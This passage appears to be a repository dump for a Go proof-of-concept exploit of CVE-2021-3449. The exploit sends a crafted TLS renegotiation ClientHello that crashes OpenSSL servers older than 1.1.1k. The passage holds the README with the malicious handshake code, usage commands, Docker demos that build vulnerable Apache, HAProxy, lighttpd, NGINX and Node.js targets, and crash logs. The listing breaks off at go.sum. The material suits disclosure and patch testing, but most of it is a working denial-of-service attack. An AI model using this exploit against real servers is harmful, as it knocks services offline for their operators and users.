[
  {
    "path": ".gitignore",
    "content": "/cve-2021-3449\n"
  },
  {
    "path": "Makefile",
    "content": "cve-2021-3449: main.go $(wildcard tls/*.go)\n\tgo build -o cve-2021-3449 .\n\nexport UBUNTU_VERSION\n\n.ONESHELL:\ndemo-openssl: cve-2021-3449\n\t$(MAKE) -C demo start-openssl\n\tsleep 2\n\t./cve-2021-3449 -host localhost:4433\n\t$(MAKE) -C demo stop-openssl\n\n.ONESHELL:\ndemo-apache: cve-2021-3449\n\t$(MAKE) -C demo start-apache\n\tsleep 10\n\t./cve-2021-3449 -host localhost:443\n\tsleep 5\n\t$(MAKE) -C demo stop-apache\n\n.ONESHELL:\ndemo-haproxy: cve-2021-3449\n\t$(MAKE) -C demo start-haproxy\n\tsleep 3\n\t./cve-2021-3449 -host localhost:4433\n\tsleep 3\n\t$(MAKE) -C demo stop-haproxy\n\n.ONESHELL:\ndemo-lighttpd: cve-2021-3449\n\t$(MAKE) -C demo start-lighttpd\n\tsleep 3\n\t./cve-2021-3449 -host localhost:4433\n\tsleep 3\n\t$(MAKE) -C demo stop-lighttpd\n\n.ONESHELL:\ndemo-nginx: cve-2021-3449\n\t$(MAKE) -C demo start-nginx\n\tsleep 3\n\t./cve-2021-3449 -host localhost:4433\n\tsleep 3\n\t$(MAKE) -C demo stop-nginx\n\n.ONESHELL:\ndemo-nodejs: cve-2021-3449\n\t$(MAKE) -C demo start-nodejs\n\tsleep 8\n\t./cve-2021-3449 -host localhost:4433\n\tsleep 3\n\t$(MAKE) -C demo stop-nodejs\n\nclean:\n\trm -f cve-2021-3449\n\t$(MAKE) -C demo clean\n"
  },
  {
    "path": "README.md",
    "content": "# CVE-2021-3449 OpenSSL <1.1.1k DoS exploit\n\nUsage: `go run . -host hostname:port`\n\nThis program implements a proof-of-concept exploit of CVE-2021-3449\naffecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.\n\nIt connects to a TLSv1.2 server and immediately initiates an RFC 5746 \"secure renegotiation\".\nThe attack involves a maliciously-crafted `ClientHello` that causes the server to crash\nby causing a NULL pointer dereference (Denial-of-Service).\n\n## References\n\n- [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt)\n- [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449)\n- [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1)\n- [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449)\n- [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449)\n\n> This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was\n> developed by Peter Kästle and Samuel Sapalski from Nokia.\n\n## Mitigation\n\nThe only known fix is to update `libssl1.1`.\n\nEven though some applications use hardened TLS configurations by default that disable TLS renegotiation,\nthey are still affected by the bug if running an old OpenSSL version.\n\n## Exploit\n\n`main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.\n\nThe exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package.\nYou can find it in `handshake_client.go:115`. The logic is self-explanatory.\n\n```go\n// CVE-2021-3449 exploit code.\nif hello.vers >= VersionTLS12 {\n    if c.handshakes == 0 {\n        println(\"sending initial ClientHello\")\n        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms\n    } else {\n        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference\n        // if the supported_signature_algorithms extension is omitted,\n        // but supported_signature_algorithms_cert is present.\n        println(\"sending malicious ClientHello\")\n        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms\n    }\n}\n```\n\n– [@terorie](https://github.com/terorie)\n\n## Demo\n\nThe `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL.\n\nTest setup:\n- Download and compile the vulnerable OpenSSL 1.1.1j version locally\n- Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries\n- Install application onto target container\n- Start server and execute attack\n\nRequirements:\n- OpenSSL (on the host)\n- `build-essential` (Perl, GCC, Make)\n- Docker\n\n**Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.**\n\n| Server                                       | Distro       | Version | Demo                 | Result        |\n| -------------------------------------------- | ------------ | ------- | -------------------- | ------------- |\n| [OpenSSL s_server](#openssl-simple-server)   | -            | 1.1.1j  | `make demo-openssl`  | Crash         |\n| [Apache2](#apache2-httpd)                    | Ubuntu 18.04 | 2.4.29  | `make demo-apache2`  | Partial crash |\n| [HAProxy](#haproxy)                          | Ubuntu 18.04 | 1.8.8   | `make demo-haproxy`  | Crash         |\n| [HAProxy](#haproxy)                          | Ubuntu 20.04 | 2.0.13  | `make demo-haproxy`  | No effect     |\n| [lighttpd](#lighttpd)                        | Ubuntu 18.04 | 1.4.55  | `make demo-lighttpd` | Crash         |\n| [lighttpd](#lighttpd)                        | Ubuntu 20.04 | 1.4.55  | `make demo-lighttpd` | Crash         |\n| [lighttpd](#lighttpd)                        | Ubuntu 21.04 | 1.4.59  | `make demo-lighttpd` | No effect with config option |\n| [NGINX](#nginx)                              | Ubuntu 18.04 | 1.14.0  | `make demo-nginx`    | Partial crash |\n| [NGINX](#nginx)                              | Ubuntu 20.04 | 1.18.0  | `make demo-nginx`    | No effect     |\n| Node.js <=12                                 | Ubuntu 18.04 |         |                      | No effect     |\n| [Node.js >12](#nodejs)                       | Ubuntu 18.04 | ?       | `make demo-nodejs`   | Crash         |\n| [Node.js >12](#nodejs)                       | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs`   | No effect     |\n\nTo clean up all demo resources, run `make clean`.\n\n### OpenSSL simple server\n\nThe `openssl s_server` is a minimal TLS server implementation.\n\n* `make demo-openssl`: Full run (port 4433)\n* `make -C demo build-openssl`: Build target Docker image\n* `make -C demo start-openssl`: Start target at port 4433\n* `make -C demo stop-openssl`: Stop target\n\nResult: Full server crash.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl\na16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17\ndocker logs -f cve-2021-3449-openssl &\nsleep 2\nwarning: Error disabling address space randomization: Operation not permitted\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\nUsing default temp DH parameters\nACCEPT\nsending initial ClientHello\nconnected\nsending malicious ClientHello\n\n[[truncated]]\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#15 0x000055aa5a10f209 in sv_body ()\n#16 0x000055aa5a1302ec in do_server ()\n#17 0x000055aa5a114815 in s_server_main ()\n#18 0x000055aa5a0f9395 in do_cmd ()\n#19 0x000055aa5a0f9ee1 in main ()\nmalicious handshake failed, exploit might have worked\n```\n\n### Apache2 httpd\n\nApache2 `httpd` web server with default configuration is vulnerable.\n\n* `make demo-apache`: Full run (port 443)\n* `make -C demo build-apache`: Build target Docker image\n* `make -C demo start-apache`: Start target at port 443\n* `make -C demo stop-apache`: Stop target\n\nThank you to [@binarytrails](https://github.com/binarytrails) for the contribution.\n\nResult: Partial disruption, main process still alive but worker process crashed.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2\n0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8\ndocker logs -f cve-2021-3449-apache2 &\n\n[[truncated]]\n\nsending initial ClientHello\nconnected\nsending malicious ClientHello\n[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)\n[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found\n[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)\n[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation\n[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found\nmalicious handshake failed, exploit might have worked: EOF\n[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2\n```\n\n### HAProxy\n\nHAProxy versions 2.0.13 and up are not affected.\n\nVersions before at least 1.8.8 are vulnerable with \"intermediate\" TLS configuration is vulnerable.\n\n* `make demo-haproxy`: Full run (port 4433)\n* `make -C demo build-haproxy`: Build target Docker image\n* `make -C demo start-haproxy`: Start target at port 4433\n* `make -C demo stop-haproxy`: Stop target\n\nTests run using master-worker mode (`-W` flag, default on Debian).\nSurprisingly, the master process exits if a worker process dies.\n\nResult: Full server crash.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy\n1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8\ndocker logs -f cve-2021-3449-haproxy &\nsending initial ClientHello\nconnected\nsending malicious ClientHello\nmalicious handshake failed, exploit might have worked: EOF\n[ALERT] 086/075305 (1) : Current worker 7 exited with code 139\n[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM\n[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)\n```\n\n### lighttpd\n\nlighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = \"enable\"` is configured in lighttpd.conf.\n\nlighttpd web server <= 1.4.55 with \"intermediate\" TLS configuration is vulnerable.\n\n* `make demo-lighttpd`: Full run (port 4433)\n* `make -C demo build-lighttpd`: Build target Docker image\n* `make -C demo start-lighttpd`: Start target at port 4433\n* `make -C demo stop-lighttpd`: Stop target\n\nResult: Full server crash.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd\n84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232\ndocker logs -f cve-2021-3449-lighttpd &\nsending initial ClientHello\nconnected\nsending malicious ClientHello\nmalicious handshake failed, exploit might have worked: EOF\n/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf\n```\n\n### NGINX\n\nNGINX versions 1.18.0 and up are not vulnerable.\n\nNGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io)\n\nNGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine,\nsince they include the `SSL_OP_NO_RENEGOTIATION` patch:\nhttp://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html\n\n* `make demo-nginx`: Full run (port 4433)\n* `make -C demo build-nginx`: Build target Docker image\n* `make -C demo start-nginx`: Start target at port 4433\n* `make -C demo stop-nginx`: Stop target\n\nResult: Partial disruption, main process still alive but worker process crashed.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx\nccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70\ndocker logs -f cve-2021-3449-nginx &\nsending initial ClientHello\nconnected\nsending malicious ClientHello\nmalicious handshake failed, exploit might have worked: EOF\n2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)\n```\n\n### Node.js\n\nNode.js `https.createServer()` is vulnerable.\n\n* `make demo-nodejs`: Full run (port 4433)\n* `make -C demo build-nodejs`: Build target Docker image\n* `make -C demo start-nodejs`: Start target at port 4433\n* `make -C demo stop-nodejs`: Stop target\n\nResult: Full server crash.\n\n**Logs**\n\n```\nserver started\nsending initial ClientHello\nconnected\nsending malicious ClientHello\n\nThread 1 \"node\" received signal SIGSEGV, Segmentation fault.\n0x000000000160714e in tls1_process_sigalgs ()\n#0  0x000000000160714e in tls1_process_sigalgs ()\n#1  0x00000000016074b3 in tls1_set_server_sigalgs ()\n#2  0x00000000016007dd in tls_post_process_client_hello ()\n#3  0x00000000015ef692 in state_machine.part ()\n#4  0x00000000015c1a6d in ssl3_read_bytes ()\n#5  0x00000000015ca2c7 in ssl3_read ()\n#6  0x00000000015d6491 in SSL_read ()\n#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()\n#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()\n#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()\n#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239\n#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306\n#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462\n#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385\n#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()\n#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()\n#16 0x0000000000a4f73a in node::Start(int, char**) ()\n#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310\n#18 0x00000000009ce26c in _start ()\nmalicious handshake failed, exploit might have worked: EOF\n```\n\n## Copyright\n\nThis repository bundles the `encoding/tls` package of the Go programming language.\n\n```\n// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n```\n"
  },
  {
    "path": "demo/.dockerignore",
    "content": "*\n!*.so*\n!openssl\n!server.pem\n!apache-default-ssl.conf\n!haproxy.cfg\n!lighttpd-10-ssl.conf\n!nginx.conf\n!nodejs.js\n"
  },
  {
    "path": "demo/.gitignore",
    "content": "/openssl-1.1.1j/\n/openssl_dir\n/openssl-1.1.1j.tar.gz\n/openssl-1.1.1j.tar.gz.download\n/openssl\n*.pem\n*.so*\n"
  },
  {
    "path": "demo/Makefile",
    "content": "CFLAGS ?= -Og -Wall\nexport CFLAGS\nCXXFLAGS ?= -Og -Wall\nexport CXXFLAGS\n\nIMAGE_PREFIX := local/cve-2021-3449\nUBUNTU_VERSION ?= focal\nIMAGE_INT := $(IMAGE_PREFIX)/base-$(UBUNTU_VERSION)\nIMAGE_INT_REQ := build-base-$(UBUNTU_VERSION)\n\nCONTAINER_PREFIX := cve-2021-3449\n\nTARGETS := apache haproxy lighttpd nginx nodejs openssl\n\nBUILD_TARGETS := $(addprefix build-, $(TARGETS))\n.PHONY: $(BUILD_TARGETS)\n$(BUILD_TARGETS): build-%: $(IMAGE_INT_REQ)\n\tdocker build -f $*.Dockerfile -t $(IMAGE_PREFIX)/$* --build-arg \"BASE_IMAGE=$(IMAGE_INT)\" .\n\nSTART_TARGETS := $(addprefix start-, $(TARGETS))\n.PHONY: $(START_TARGETS)\n$(START_TARGETS): start-%: build-%\n\tdocker run -d -it --name $(CONTAINER_PREFIX)-$* --network host $(IMAGE_PREFIX)/$*\n\tdocker logs -f $(CONTAINER_PREFIX)-$* &\n\nLOGS_TARGETS := $(addprefix logs-, $(TARGETS))\n.PHONY: $(LOGS_TARGETS)\n$(LOGS_TARGETS): logs-%:\n\tdocker logs $(CONTAINER_PREFIX)-$*\n\nSTOP_TARGETS := $(addprefix stop-, $(TARGETS))\n.PHONY: $(STOP_TARGETS)\n$(STOP_TARGETS): stop-%:\n\tdocker container rm -f $(CONTAINER_PREFIX)-$* || true\n\n.PHONY: $(IMAGE_INT_REQ)\n$(IMAGE_INT_REQ): libcrypto.so.1.1 libssl.so.1.1 openssl server.pem\n\tdocker build -f base.Dockerfile -t $(IMAGE_INT) --build-arg \"BASE_IMAGE=ubuntu:$(UBUNTU_VERSION)\" .\n\nserver.pem:\n\topenssl req -x509 -newkey rsa:2048 -keyout ./key.pem -out ./cert.pem -days 365 -nodes -subj \"/CN=dummycert/O=My Company Name/C=US\"\n\tcat key.pem cert.pem >> server.pem\n\trm key.pem cert.pem\n\n.PHONY: clean\nclean: $(STOP_TARGETS)\n\tdocker image rm -f $(addprefix $(IMAGE_PREFIX)/,$(TARGETS))\n\trm -rf ./*.pem ./*.so* ./openssl ./openssl_dir ./openssl-1.1.1j ./openssl-1.1.1j.tar.gz ./openssl-1.1.1j.tar.gz.download\n\nopenssl libcrypto.so.1.1 libssl.so.1.1: openssl_dir/Makefile\n\t$(MAKE) -C openssl_dir -j4 apps/openssl libcrypto.so libssl.so\n\tln -f openssl_dir/libcrypto.so.1.1 libcrypto.so.1.1\n\tln -f openssl_dir/libssl.so.1.1 libssl.so.1.1\n\tln -f openssl_dir/apps/openssl openssl\n\nopenssl_dir/Makefile: openssl_dir/.downloaded\n\tcd openssl_dir && ./config && $(MAKE) build_generated\n\nopenssl_dir/.downloaded: openssl-1.1.1j.tar.gz\n\ttar -xzf openssl-1.1.1j.tar.gz\n\tln -sf openssl-1.1.1j openssl_dir\n\ttouch openssl_dir/.downloaded\n\nopenssl-1.1.1j.tar.gz: openssl-1.1.1j.tar.gz.download\n\tsha256sum -c openssl-1.1.1j.tar.gz.sha256sum\n\tln -sf openssl-1.1.1j.tar.gz.download openssl-1.1.1j.tar.gz\n\nopenssl-1.1.1j.tar.gz.download:\n\tcurl https://www.openssl.org/source/old/1.1.1/openssl-1.1.1j.tar.gz --output openssl-1.1.1j.tar.gz.download\n"
  },
  {
    "path": "demo/apache-default-ssl.conf",
    "content": "<IfModule mod_ssl.c>\n\t<VirtualHost 127.0.0.1:443>\n\t\tServerAdmin webmaster@localhost\n\n\t\tDocumentRoot /var/www/html\n\t\tLogLevel info ssl:debug\n\n\t\tErrorLog ${APACHE_LOG_DIR}/error.log\n\t\tCustomLog ${APACHE_LOG_DIR}/access.log combined\n\n\t\tSSLEngine on\n\n\t\tSSLCertificateFile\t/etc/ssl/certs/ssl-cert-snakeoil.pem\n\t\tSSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key\n\n\t\t<FilesMatch \"\\.(cgi|shtml|phtml|php)$\">\n\t\t\t\tSSLOptions +StdEnvVars\n\t\t</FilesMatch>\n\t\t<Directory /usr/lib/cgi-bin>\n\t\t\t\tSSLOptions +StdEnvVars\n\t\t</Directory>\n\t</VirtualHost>\n</IfModule>\n\n# vim: syntax=apache ts=4 sw=4 sts=4 sr noet\n"
  },
  {
    "path": "demo/apache.Dockerfile",
    "content": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n    apt-get install -y apache2\nCOPY apache-default-ssl.conf /etc/apache2/sites-enabled/default-ssl.conf\nRUN a2enmod ssl\nENTRYPOINT [\"/bin/bash\", \"-c\"]\nCMD [\"/usr/sbin/apachectl start && sleep 2 && tail -n+0 -f /var/log/apache2/error.log\"]\n"
  },
  {
    "path": "demo/base.Dockerfile",
    "content": "# Create base system with a vulnerable OpenSSL version.\nARG BASE_IMAGE=ubuntu:bionic\nFROM $BASE_IMAGE\nRUN DEBIAN_FRONTEND=noninteractive \\\n    apt-get update \\\n && apt-get install -y libssl1.1 openssl gdb curl\n# Patch in the vulnerable OpenSSL version.\nCOPY libssl.so.1.1 libcrypto.so.1.1 /usr/lib/x86_64-linux-gnu/\nCOPY openssl /usr/bin/\n# Copy the self-signed certificate.\nCOPY server.pem /root/\n"
  },
  {
    "path": "demo/haproxy.Dockerfile",
    "content": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n    apt-get install -y haproxy\nCOPY haproxy.cfg /etc/haproxy/\nENTRYPOINT [\"/bin/bash\", \"-c\"]\nCMD [\"haproxy -W -f /etc/haproxy/haproxy.cfg\"]\n"
  },
  {
    "path": "demo/haproxy.cfg",
    "content": "# generated 2021-03-28, Mozilla Guideline v5.6, HAProxy 2.1, OpenSSL 1.1.1j, intermediate configuration\n# https://ssl-config.mozilla.org/#server=haproxy&version=2.1&config=intermediate&openssl=1.1.1j&guideline=5.6\nglobal\n    # intermediate configuration\n    ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384\n    ssl-default-bind-options prefer-client-ciphers no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets\n\n    ssl-default-server-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384\n    ssl-default-server-options no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets\n\nfrontend ft_test\n    mode    http\n    bind    :4433 ssl crt /root/server.pem alpn h2,http/1.1\n\n    # HSTS (63072000 seconds)\n    http-response set-header Strict-Transport-Security max-age=63072000\n"
  },
  {
    "path": "demo/lighttpd-10-ssl.conf",
    "content": "# generated 2021-03-28, Mozilla Guideline v5.6, lighttpd 1.4.55, OpenSSL 1.1.1j, intermediate configuration\n# https://ssl-config.mozilla.org/#server=lighttpd&version=1.4.55&config=intermediate&openssl=1.1.1j&guideline=5.6\n$SERVER[\"socket\"] == \":80\" {\n    url.redirect = (\"\" => \"https://${url.authority}${url.path}${qsa}\")\n}\n\n$SERVER[\"socket\"] == \":4433\" {\n    ssl.engine   = \"enable\"\n\n    ssl.pemfile               = \"/root/server.pem\"\n\n    # intermediate configuration\n    ssl.openssl.ssl-conf-cmd = (\"Protocol\" => \"ALL, -SSLv2, -SSLv3, -TLSv1, -TLSv1.1\")\n    ssl.cipher-list           = \"ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384\"\n    ssl.honor-cipher-order    = \"disable\"\n\n    # HTTP Strict Transport Security (63072000 seconds)\n    setenv.add-response-header  = (\n        \"Strict-Transport-Security\" => \"max-age=63072000\"\n    )\n}\n"
  },
  {
    "path": "demo/lighttpd.Dockerfile",
    "content": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n    apt-get install -y lighttpd\nCOPY lighttpd-10-ssl.conf /etc/lighttpd/conf-enabled/10-ssl.conf\nENTRYPOINT [\"/bin/bash\", \"-c\"]\nCMD [\"lighttpd -D -f /etc/lighttpd/lighttpd.conf && true\"]\n"
  },
  {
    "path": "demo/nginx.Dockerfile",
    "content": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n    apt-get install -y nginx\nCOPY nginx.conf /etc/nginx/\nENTRYPOINT [\"/bin/bash\", \"-c\"]\nCMD [\"nginx && sleep 2 && tail -n+0 -f /var/log/nginx/error.log\"]\n"
  },
  {
    "path": "demo/nginx.conf",
    "content": "user root;\npid /run/nginx.pid;\nworker_processes auto;\nworker_rlimit_nofile 65535;\n\nevents {\n    multi_accept       on;\n    worker_connections 65535;\n}\n\nhttp {\n    charset                utf-8;\n    sendfile               on;\n    tcp_nopush             on;\n    tcp_nodelay            on;\n    server_tokens          off;\n    log_not_found          off;\n    types_hash_max_size    2048;\n    types_hash_bucket_size 64;\n    client_max_body_size   16M;\n\n    # MIME\n    include      mime.types;\n    default_type application/octet-stream;\n\n    # Logging\n    access_log /var/log/nginx/access.log;\n    error_log  /var/log/nginx/error.log warn;\n\n    # SSL\n    ssl_session_timeout 1d;\n    ssl_session_cache   shared:SSL:10m;\n    ssl_session_tickets off;\n\n    # Mozilla Intermediate configuration\n    ssl_protocols TLSv1.2 TLSv1.3;\n    ssl_ciphers   ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;\n\n    server {\n        listen      4433 ssl http2;\n        listen      [::]:4433 ssl http2;\n        server_name example.com;\n        root        /var/www/html;\n\n        # SSL\n        ssl_certificate         /root/server.pem;\n        ssl_certificate_key     /root/server.pem;\n        ssl_trusted_certificate /root/server.pem;\n    }\n}\n"
  },
  {
    "path": "demo/nodejs.Dockerfile",
    "content": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n    curl -fsSL https://deb.nodesource.com/setup_15.x | bash - \\\n && apt-get install -y nodejs\nCOPY nodejs.js /root/\nCMD [\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt\", \"--args\", \"/usr/bin/node\", \"/root/nodejs.js\"]\n"
  },
  {
    "path": "demo/nodejs.js",
    "content": "const https = require('https');\nconst fs = require('fs');\n\nconst options = {\n  key: fs.readFileSync('server.pem'),\n  cert: fs.readFileSync('server.pem')\n};\n\nhttps.createServer(options, function (req, res) {\n  res.writeHead(200);\n  res.end(\"hello world\\n\");\n}).listen(4433);\n\nconsole.log(\"server started\");\n"
  },
  {
    "path": "demo/openssl-1.1.1j.tar.gz.sha256sum",
    "content": "aaf2fcb575cdf6491b98ab4829abf78a3dec8402b8b81efc8f23c00d443981bf  openssl-1.1.1j.tar.gz.download\n"
  },
  {
    "path": "demo/openssl.Dockerfile",
    "content": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nCMD [\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt\", \"--args\", \"/usr/bin/openssl\", \"s_server\"]\n"
  },
  {
    "path": "go.mod",
    "content": "module cve_2021_3449\n\ngo 1.14\n\nrequire golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2\n"
  },
  {
    "path": "go.sum",
